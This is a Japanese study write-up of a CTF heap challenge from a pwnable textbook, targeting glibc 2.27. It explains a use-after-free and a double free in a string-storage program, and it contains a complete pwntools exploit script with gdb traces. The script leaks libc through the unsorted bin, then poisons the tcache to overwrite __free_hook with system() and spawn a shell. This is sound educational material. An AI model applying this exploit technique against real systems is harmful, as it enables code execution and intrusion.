Double freeとUAF (Use After Free)
『解題 pwnable』第7章にあるstrstrというヒープ問を題材に、double freeとUAFによる攻撃を勉強する。
(ターゲットはglibc2.27)
strstrの問題
(strstr.cとバイナリstrstr、そしてlibc-2.27.soが配布される)
プログラムの概要
indexを指定して、文字を書き込みそれを保持させる。indexを指定して保持した文字列データを表示したり削除したりできる。
<><><> String Storage <><><> 0: store 1: show 2: delete 3: exit command: 0 index: 0 string: zero command: 0 index: 1 string: hereisone command: 1 index: 0 zero command: 2 index: 1 command: 3
ソースコード
文字を書き込む部分と、保持した文字を削除する部分でmalloc/free
が使われてる:
... for (;;) { printf("command: "); scanf("%d", &command); switch (command) { case 0: index = read_index(); printf("string: "); scanf("%255s", buf); storage[index] = (char *)malloc(strlen(buf)); strcpy(storage[index], buf); break; case 1: index = read_index(); puts(storage[index]); break; case 2: index = read_index(); free(storage[index]); break; ...
ヒープに関する脆弱性
double freeの脆弱性がある:
┌──(shoebill㉿shoebill)-[~/pwn/temp] └─$ ./strstr_patched <><><> String Storage <><><> 0: store 1: show 2: delete 3: exit command: 0 index: 0 string: zero command: 2 index: 0 command: 2 index: 0 command:
free
で解放した領域が参照できてしまうUAF(Use After Free)の脆弱性もある:
┌──(shoebill㉿shoebill)-[~/pwn] └─$ ./strstr <><><> String Storage <><><> 0: store 1: show 2: delete 3: exit command: 0 index: 0 string: UAF? command: 2 index: 0 command: 1 index: 0 n�Kc command:
exploit
#!/usr/bin/env python3 import warnings from pwn import * warnings.simplefilter('ignore', category = BytesWarning) bin_file = './strstr' binf = ELF(bin_file, checksec = False) context.binary = binf conn = remote('localhost', 10006) def store(index, string): conn.sendlineafter('command: ', '0') conn.sendlineafter('index: ', (str(index))) conn.sendlineafter('string: ', string) def show(index): conn.sendlineafter('command: ', '1') conn.sendlineafter('index: ', str(index)) return conn.recvline()[:-1] def delete(index): conn.sendlineafter('command: ', '2') conn.sendlineafter('index: ', str(index)) def attack(conn): # fill tcache for i in range(8): store(i, 'a' * 0x80) store(8, 'a' * 0x80) for i in range(8): delete(i) unsort = int.from_bytes(show(7), 'little') # UAF libc_base = unsort - (0x3ebc40 + 0x60) log.info('libc base: {}'.format(hex(libc_base))) libc = ELF('./libc-2.27.so', checksec = False) libc.address = libc_base # write system()'s address to __free_hook store(0, 'a') delete(0) delete(0) # double free log.info('__free_hook: {}'.format(hex(libc.symbols.__free_hook))) store(0, p64(libc.symbols.__free_hook)) store(0, 'a') log.info('system: {}'.format(hex(libc.symbols.system))) store(0, p64(libc.symbols.system)) store(0, '/bin/sh') delete(0) def main(): attack(conn) conn.interactive() if __name__ == '__main__': main()
解放したチャンクはまずtcacheに格納される(各サイズに対してtcacheに繋げられるチャンクは7個)。
unsortedにチャンクを格納したいので、まず同じサイズのチャンクを7回free
してtcacheを埋める。
UAFでunsortedのfdを読む
UAFを利用してunsorted binに入ったチャンク(一つだけ)のfd、つまりmain_arena.topが得られていることが以下のように確かめられる。
次のようにgdbをアタッチする:
def attack(conn, **kwargs): for i in range(8): store(i, 'a' * 0x80) store(8, 'b' * 0x80) for i in range(8): delete(i) unsort = int.from_bytes(show(7), 'little') # UAF log.info('unsort:{}'.format(hex(unsort))) gdb.attach(conn) def main(): ...
実行して(unsort
の値に注目)
┌──(shoebill㉿shoebill)-[~/pwn] └─$ ./test.py [+] Starting local process './strstr': pid 12354 [*] unsort: 0x7f7b3fdf2cc0 [*] running in new terminal: ['/usr/bin/gdb', '-q', './strstr', '12354'] [+] Waiting for debugger: Done [*] Switching to interactive mode
この時のヒープの状況をみると
gdb-peda$ heapinfo (0x20) fastbin[0]: 0x0 (0x30) fastbin[1]: 0x0 (0x40) fastbin[2]: 0x0 (0x50) fastbin[3]: 0x0 (0x60) fastbin[4]: 0x0 (0x70) fastbin[5]: 0x0 (0x80) fastbin[6]: 0x0 (0x90) fastbin[7]: 0x0 (0xa0) fastbin[8]: 0x0 (0xb0) fastbin[9]: 0x0 top: 0x55fb943f17a0 (size : 0x20860) last_remainder: 0x0 (size : 0x0) unsortbin: 0x55fb943f1680 (size : 0x90) (0x90) tcache_entry[7](7): 0x55fb943f1600 --> 0x55fb943f1570 --> 0x55fb943f14e0 --> 0x55fb943f1450 --> 0x55fb943f13c0 --> 0x55fb943f1330 --> 0x55fb943f12a0 gdb-peda$ x/8gx 0x7f7b3fdf2cc0 0x7f7b3fdf2cc0 <main_arena+96>: 0x000055fb943f17a0 0x0000000000000000 0x7f7b3fdf2cd0 <main_arena+112>: 0x000055fb943f1680 0x000055fb943f1680 0x7f7b3fdf2ce0 <main_arena+128>: 0x00007f7b3fdf2cd0 0x00007f7b3fdf2cd0 0x7f7b3fdf2cf0 <main_arena+144>: 0x00007f7b3fdf2ce0 0x00007f7b3fdf2ce0
(112=0x70, 0x60=96)
これより、unsort
はmain_arena + 0x60
ということがわかり、heapinfo
の出力にあるtopのアドレス(0x55fb943f17a0)を格納している。
なぜこのようにUAFでunsortedのfdが読みだせるのか?
※ index(0始まり)とチャンクの個数がずれていて非常に紛らわしい。range(8)
は0~7の8個だ!
あるチャンクのfree時
- そのチャンクサイズに対応するtcacheが満帆(7個)でtcacheに繋げられない
- fastbinsの範囲外
- mmapで確保されたチャンクではない
の時、隣接する前後の解放済みチャンク(topも含む)と統合される。
さらにその時、topと結合されなかったらその解放したチャンクはunsortedに格納される。
これを踏まえてexploitをみる。
def attack(conn, **kwargs): for i in range(8): store(i, 'a' * 0x80) store(8, 'a' * 0x80) for i in range(8): delete(i) ...
8回同じサイズをmalloc
した後に、8回そのサイズをfree
すると、最後の一回分のチャンク(index 7で確保したやつ)は上の3つの条件を満たすから、
普通なら隣接する解放済みチャンクと統合される(topに統合されることもある)。
以下で示すが、index 7で確保したチャンクはtopに隣接しており、普通ならtopに統合される。
そこで、store(8, 'a' * 0x08)
と隣接するチャンクを確保してtopに統合されないようにする(これを書かずに実行するとunsortbin: 0x0 (size : 0x0)
となることがgdbをアタッチしてみるとわかる)。
そうすることで、index 7(8個目)のチャンクはtopに統合されずにunsortedに格納される。
よって、index 7のチャンクにUAFでアクセスすると、(この時unsortedに格納されてるチャンクはindex 7で確保したチャンク 1つだけだから、そのfdはmain_arena.topである)main_arena.topのアドレスを得る。
index 7のチャンクがtopと隣接してることの確認
attack
関数を以下のように編集して実行。
def attack(conn, **kwargs): dic = {0: 'a', 1: 'b', 2: 'c', 3: 'd', 4: 'e', 5: 'f', 6: 'g', 7: 'h'} for i in range(8): store(i, dic[i] * 0x80) gdb.attach(conn)
main_arena.topのアドレスと128(0x80)文字の"h"が格納されてる場所のアドレスに注目:
gdb-peda$ heapinfo ... top: 0x5631442bc6d0 (size : 0x20930) last_remainder: 0x0 (size : 0x0) unsortbin: 0x0 gdb-peda$ find h heap Searching for 'h' in: heap ranges Found 128 results, display max 128 items: [heap] : 0x5631442bc650 ('h' <repeats 128 times>) [heap] : 0x5631442bc651 ('h' <repeats 127 times>) ...
main_arena.topと128文字の"h"が始まる場所のアドレスの差は
gdb-peda$ p 0x5631442bc6d0-0x5631442bc650 $1 = 0x80
ちょうど入力サイズ分だとわかる。つまりindex 7のチャンクはtopと隣接してる。
index 7のチャンクがunsortedに格納されてることも確認すると
def attack(conn, **kwargs): dic = {0: 'a', 1: 'b', 2: 'c', 3: 'd', 4: 'e', 5: 'f', 6: 'g', 7: 'h'} for i in range(8): store(i, dic[i] * 0x80) store(8, 'A' * 0x80) for i in range(8): delete(i) gdb.attach(conn)
として実行
gdb-peda$ heapinfo ... top: 0x556d63efb760 (size : 0x208a0) last_remainder: 0x0 (size : 0x0) unsortbin: 0x556d63efb640 (size : 0x90) (0x90) tcache_entry[7](7): 0x556d63efb5c0 --> 0x556d63efb530 --> 0x556d63efb4a0 --> 0x556d63efb410 --> 0x556d63efb380 --> 0x556d63efb2f0 --> 0x556d63efb260 gdb-peda$ x 0x556d63efb640 0x556d63efb640: 0x0000000000000000 gdb-peda$ x/10 0x556d63efb640 0x556d63efb640: 0x0000000000000000 0x0000000000000091 0x556d63efb650: 0x00007fca79febca0 0x00007fca79febca0 0x556d63efb660: 0x6868686868686868 0x6868686868686868 0x556d63efb670: 0x6868686868686868 0x6868686868686868 0x556d63efb680: 0x6868686868686868 0x6868686868686868
("h"の16進数表記は68)
libc-2.27.soを逆アセンブルしてmain_arenaのアドレスを求める
glibc-2.27のmalloc.cにて、次の__libc_malloc
関数(malloc
はこれのaliasである)に着目する。
void * __libc_malloc (size_t bytes) { ... if (SINGLE_THREAD_P) { victim = _int_malloc (&main_arena, bytes); assert (!victim || chunk_is_mmapped (mem2chunk (victim)) || &main_arena == arena_for_chunk (mem2chunk (victim))); return victim; }
この部分に対応するディスアセンブルコードを解析してmain_arenaのアドレスを求める。
gdb -q ./libc-2.27.so gdb-peada$ disas __libc_malloc
しかしうまく読み取れなかった(自分のアセンブリ読解力がない)。
代わりに”main_arenaのアドレスはmalloc_hook+0x10”であることを考慮してmain_arenaのアドレスを求める。
┌──(shoebill㉿shoebill)-[~/pwn] └─$ objdump -d libc-2.27.so | grep malloc_hook | grep 0x10 90827: 48 8d 05 12 b4 35 00 lea 0x35b412(%rip),%rax # 3ebc40 <__malloc_hook@@GLIBC_2.2.5+0x10> 90e00: 48 8d 05 39 ae 35 00 lea 0x35ae39(%rip),%rax # 3ebc40 <__malloc_hook@@GLIBC_2.2.5+0x10> 91020: 48 8d 3d 19 ac 35 00 lea 0x35ac19(%rip),%rdi # 3ebc40 <__malloc_hook@@GLIBC_2.2.5+0x10> 91119: 4c 8d 35 20 ab 35 00 lea 0x35ab20(%rip),%r14 # 3ebc40 <__malloc_hook@@GLIBC_2.2.5+0x10> 91257: 48 8d 1d e2 a9 35 00 lea 0x35a9e2(%rip),%rbx # 3ebc40 <__malloc_hook@@GLIBC_2.2.5+0x10> 9141e: 48 8d 05 1b a8 35 00 lea 0x35a81b(%rip),%rax # 3ebc40 <__malloc_hook@@GLIBC_2.2.5+0x10> ...
これよりmain_arenaのアドレスは0x3ebc40とわかる。
また、libcのベースアドレスを求める式はunsort - (0x3ebc40 + 0x60)
となることもわかる。
(__free_hook
とsystem
のアドレスを求めるにはlibcのベースアドレスが必要)
[このプログラムの肝]
double freeの部分について詳しくみる前に注意すべき重要な点がある。
このプログラムでは、malloc
でメモリを確保した直後に確保した領域に文字列を書き込める。実は、この書き込む領域はnext
と重なっている。
そこで、たとえばstore()
であるアドレスA
を書き込めば、すでに繋がっているP
のnext
を書き換えたことになり、
tcache -> P -> A -> ???
となる。
double freeの部分について
def attack(conn): ... store(0, 'a') delete(0) delete(0) # double free log.info('__free_hook: {}'.format(hex(libc.symbols.__free_hook))) store(0, p64(libc.symbols.__free_hook)) store(0, 'a') log.info('system: {}'.format(hex(libc.symbols.system))) store(0, p64(libc.symbols.system)) store(0, '/bin/sh') delete(0)
__free_hook
にsystem
関数のアドレスを書き込む。
その後、index 0に文字列"/bin/sh"を確保する(malloc
)。
なぜならば、次にindex 0をdeleteで解放(free
つまりfree_hook
)してやれば、free_hook
に文字列"/bin/sh"のアドレスが渡されるから。この時、free_hook
はsystem
であるから、
結局system("/bin/sh")
が実行されてシェルがとれる。
以下では、二重解放する前のstore(0, 'a')
から一行ずつ、その都度ヒープの状況を確認しながら実行して細かくみていく。
まず次のように書いて実行:
def attack(conn, **kwargs): for i in range(8): store(i, 'a' * 0x80) store(8, 'a' * 0x80) for i in range(8): delete(i) unsort = int.from_bytes(show(7), 'little') # UAF libc_base = unsort - (0x3ebc40 + 0x60) log.info('libc base: {}'.format(hex(libc_base))) libc = ELF('./libc-2.27.so', checksec = False) libc.address = libc_base store(0, 'a') delete(0) delete(0) gdb.attach(conn) def main(): ...
store(0, 'a')
で確保した後にそれをdouble freeしていることが確認できる:
gdb-peda$ heapinfo ... (0x20) tcache_entry[0](2): 0x5640563cf650 --> 0x5640563cf650 (overlap chunk with 0x5640563cf640(freed) )
store(0, p64(libc.symbols.__free_hook))
をした後:
(0x20) tcache_entry[0](1): 0x55e3baee5650 --> 0x7f8e917ed8e8
0x7f8e917ed8e8は__free_hook
のアドレス(libc.symbols.__free_hook
の返り値)。
これは上に述べたこのプログラムの肝によるもの。
store(0, 'a')
をした後:
(0x20) tcache_entry[0](0): 0x7f92ce1ed8e8
単純にtcacheから確保しただけ。
store(0, p64(libc.symbols.system))
をした後:
┌──(shoebill㉿shoebill)-[~/pwn/temp] └─$ ./test.py [+] Starting local process './strstr_patched': pid 16886 [*] libc base: 0x7f673e600000 [*] __free_hook: 0x7f673e9ed8e8 [*] system: 0x7f673e64f440
gdbでヒープをみると
(0x20) tcache_entry[0](255): 0
system()
関数のアドレスが__free_hook
に書かれたということ。
次のように確かめられる:
gdb-peda$ x 0x7f673e9ed8e8 0x7f673e9ed8e8 <__free_hook>: 0x00007f673e64f440 0x0000000000000000
(サイズ0x20に対するtcacheにはもう繋がってないので、この後のstore(0, '/bin/sh')
とdelete(0)
を実行しても(0x20) tcache_entry[0](255): 0
のまま)
以上でstrstrの問題の説明は終わり。
tcacheとDouble freeについて
glibc2.28以前のtcacheにはdouble freeのチェックがされない。
Double freeを利用して、任意のアドレスに任意の値を書き込むことができる!
(サイズが0x410バイト以下で、そのサイズに対応するtcacheに空きがある場合)
アドレスがP
であるチャンクをfree
で解放すると、
tcache -> P -> NULL
のようにtcacheに繋がれる。
再び同サイズのチャンク(アドレスはQ
)を解放すると
tcache -> Q -> P -> NULL
と繋がれる。
次に、このサイズのチャンクを確保すると、アドレスQ
のチャンクが確保されてtcacheの様子は
tcache -> P -> NULL
となる。
ここで、二回目に解放するチャンクを、アドレスQ
のチャンクではなく再びアドレスP
のチャンクにしたらどうなるか(つまりアドレスPのチャンクをdouble free)?
tcache -> P -> P -> ...
とアドレスP
のチャンクが連なる。